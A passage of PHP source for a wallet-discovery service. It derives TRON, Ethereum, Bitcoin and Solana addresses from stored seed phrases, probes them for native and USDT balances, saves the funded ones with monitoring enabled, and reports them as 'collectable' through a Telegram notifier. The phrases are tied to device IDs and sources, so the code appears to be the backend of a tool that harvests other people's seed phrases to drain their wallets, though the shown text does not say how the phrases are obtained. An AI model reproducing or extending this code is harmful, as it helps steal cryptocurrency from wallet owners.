*/ private const CHAINS = [ ['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'eth', 'chain_type' => 'ETH'], ['chain' => 'btc', 'chain_type' => 'BTC'], ['chain' => 'sol', 'chain_type' => 'SOLANA'], ]; public function __construct( private readonly ChainManager $chains, private readonly TelegramNotifier $telegram, private readonly TokenviewMonitorService $tokenview, ) {} /** * @return int Number of address rows created or updated */ public function discoverIndexZero(WalletMnemonic $mnemonic): int { return $this->discoverActivated($mnemonic); } /** * @return int Number of address rows created or updated */ public function discoverActivated(WalletMnemonic $mnemonic): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { return 0; } $words = preg_split('/\s+/', trim($phrase)) ?: []; if (count($words) < 12) { Log::info('mnemonic wallet discovery skipped: phrase too short', [ 'mnemonic_id' => $mnemonic->id, 'word_count' => count($words), ]); return 0; } $linkedChainTypes = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->pluck('chain_type') ->map(fn ($c) => strtoupper(trim((string) $c))) ->filter() ->unique() ->values() ->all(); $source = trim((string) ($mnemonic->source ?: '')); $saved = []; foreach (self::CHAINS as $spec) { if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) { continue; } try { $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); foreach ($rows as $row) { $saved[] = $row; } } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $spec['chain'], ]); } } if ($saved !== []) { $this->telegram->notifyCollectableAddresses($saved); } return count($saved); } /** * @param list $linkedChainTypes uppercase chain_type values already linked */ private function hasLinkedChain(array $linkedChainTypes, string $chain): bool { $aliases = match ($chain) { 'tron' => ['TRON', 'TRX'], 'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'], 'btc' => ['BTC', 'BITCOIN'], 'sol' => ['SOL', 'SOLANA'], default => [strtoupper($chain)], }; return array_intersect($aliases, $linkedChainTypes) !== []; } /** * Persisted linked rows, or ephemeral index-0 previews when none exist. * * @return list> */ public function walletCards(WalletMnemonic $mnemonic): array { $addresses = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->orderBy('id') ->get(); if ($addresses->isNotEmpty()) { return $addresses->map(function (WalletAddress $addr) { $coins = $addr->formattedCoins(); return [ 'id' => $addr->id, 'address' => $addr->address, 'chain_type' => $addr->chain_type ?: '', 'source' => $addr->source ?: '', 'derive_index' => $addr->derive_index, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], 'sol' => $coins['sol'], 'active' => true, 'persisted' => true, ]; })->values()->all(); } return $this->inactiveIndexZeroCards($mnemonic); } /** * @return list */ private function discoverChain( WalletMnemonic $mnemonic, string $phrase, string $source, string $chain, string $chainType, ): array { $driver = $this->chains->resolve($chain); $saved = []; for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { $address = $driver->deriveAddress($phrase, $index); } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $chain, 'index' => $index, ]); break; } try { $probe = $this->probeActivated($chain, $driver, $address); } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $chain, 'address' => $address, 'index' => $index, ]); continue; } if (! $probe['activated']) { continue; } $saved[] = $this->persistActivated( $mnemonic, $source, $chainType, $address, $index, $probe['coins'], ); } return $saved; } /** * @return array{activated: bool, coins: array} */ private function probeActivated(string $chain, ChainDriver $driver, string $address): array { return match ($chain) { 'tron' => $this->probeTron($driver, $address), 'eth' => $this->probeEth($driver, $address), 'btc' => $this->probeBtc($driver, $address), 'sol' => $this->probeSol($driver, $address), default => ['activated' => false, 'coins' => []], }; } /** * @return array{activated: bool, coins: array} */ private function probeTron(ChainDriver $driver, string $address): array { if (! $driver instanceof TronDriver) { return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')]; } $probe = $driver->probeAccount($address); if (! $probe['activated']) { return ['activated' => false, 'coins' => $this->emptyCoins('tron')]; } return [ 'activated' => true, 'coins' => [ 'trx' => $probe['trx'], 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')), ], ]; } /** * @return array{activated: bool, coins: array} */ private function probeEth(ChainDriver $driver, string $address): array { if (! $driver->isActivated($address)) { return ['activated' => false, 'coins' => $this->emptyCoins('eth')]; } return [ 'activated' => true, 'coins' => [ 'eth' => $driver->getNativeBalance($address), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), ], ]; } /** * @return array{activated: bool, coins: array} */ private function probeBtc(ChainDriver $driver, string $address): array { if ($driver instanceof BtcDriver) { $probe = $driver->probeAddress($address); return [ 'activated' => $probe['activated'], 'coins' => ['btc' => $probe['btc']], ]; } if (! $driver->isActivated($address)) { return ['activated' => false, 'coins' => $this->emptyCoins('btc')]; } return [ 'activated' => true, 'coins' => ['btc' => $driver->getNativeBalance($address)], ]; } /** * @return array{activated: bool, coins: array} */ private function probeSol(ChainDriver $driver, string $address): array { try { $sol = $driver->getNativeBalance($address); } catch (\Throwable) { return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; } $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', '')); $activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0; if (! $activated) { return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; } return [ 'activated' => true, 'coins' => [ 'sol' => $sol, 'usdt' => $usdt, ], ]; } /** * @param array $coins */ private function persistActivated( WalletMnemonic $mnemonic, string $source, string $chainType, string $address, int $index, array $coins, ): WalletAddress { $row = WalletAddress::query()->firstOrNew([ 'device_id' => $mnemonic->device_id, 'address' => $address, 'source' => $source !== '' ? $source : null, ]); $row->chain_type = $chainType; $row->mnemonic_id = $mnemonic->id; $row->derive_index = $index; $row->monitor = 1; if (! $row->exists) { $row->monitor_synced = false; $row->monitor_failures = 0; } foreach ($coins as $col => $value) { $row->{$col} = $value; } $row->save(); $this->enableMonitor($row); return $row; } /** * @return list> */ private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { return []; } $source = trim((string) ($mnemonic->source ?: '')); $cards = []; foreach (self::CHAINS as $spec) { try { $address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0); } catch (\Throwable) { continue; } $cards[] = [ 'id' => null, 'address' => $address, 'chain_type' => $spec['chain_type'], 'source' => $source, 'derive_index' => 0, 'usdt' => null, 'trx' => null, 'eth' => null, 'btc' => null, 'bnb' => null, 'sol' => null, 'active' => false, 'persisted' => false, ]; } return $cards; } /** * @return array */ private function emptyCoins(string $chain): array { return match ($chain) { 'tron' => ['trx' => '0', 'usdt' => '0'], 'eth' => ['eth' => '0', 'usdt' => '0'], 'btc' => ['btc' => '0'], 'sol' => ['sol' => '0', 'usdt' => '0'], default => [], }; } private function enableMonitor(WalletAddress $address): void { try { $this->tokenview->syncMonitor($address); } catch (\Throwable $e) { Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, ]); } } private function tokenBalance(ChainDriver $driver, string $address, string $contract): string { $contract = trim($contract); if ($contract === '') { return '0'; } try { return (string) $driver->getTokenBalance($address, $contract); } catch (\Throwable) { return '0'; } } }